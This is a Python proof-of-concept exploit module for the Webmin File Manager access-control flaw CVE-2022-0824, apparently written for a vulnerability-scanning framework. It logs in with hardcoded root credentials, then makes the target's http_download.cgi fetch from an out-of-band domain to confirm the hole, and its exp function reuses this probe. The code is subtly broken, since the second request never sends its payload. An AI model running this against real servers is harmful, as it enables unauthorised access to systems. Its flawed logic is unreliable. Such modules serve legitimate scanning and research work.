CVE-2022-0824.py

import requests
from plugins.oob import verify_request, gen_oob_domain



# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Webmin below 1.990 - File Manager privilege exploit''',
        "description": '''Improper Access Control to Remote Code Execution in GitHub repository webmin/webmin prior to 1.990.''',
        "severity": "high",
        "references": [
            "https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell/blob/main/Webmin-revshell.py", 
            "https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-0824/vultarget", 
            "https://nvd.nist.gov/vuln/detail/CVE-2022-0824"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "8.8",
            "cve-id": "CVE-2022-0824",
            "cwe-id": "CWE-863. CWE-284"
        },
        "metadata":{
            "vuln-target": "https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-0824/vultarget"
        },
        "tags": ["webmin", "privilege", "auth"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    username = "root"
    password = "password"
    try:
        url = format_url(url)

        oob_domain,flag = gen_oob_domain()

        path = """/session_login.cgi"""
        method = "POST"
        data = '''user={username}&pass={password}'''.format(username=username, password=password)
        headers = {
            'Content-Type': 'application/x-www-form-urlencoded',
            'Cookie': 'redirect=1;testing=1;PHPSESSID=;'
        }
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/extensions/file-manager/http_download.cgi?module=filemin"""
        method = "POST"
        data = """link=http://{oob_domain}&username=&password=&path=/xxx""".format(oob_domain=oob_domain)
        headers = {
            'Accept': 'application/json, text/javascript, */*; q=0.01',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'X-Requested-With': 'XMLHttpRequest',
            'Referer': '{}/filemin/?xnavigation=1'.format(url)
        }
        resp1 = requests.request(method=method,url=url+path,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if verify_request(type="dns", flag=flag):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url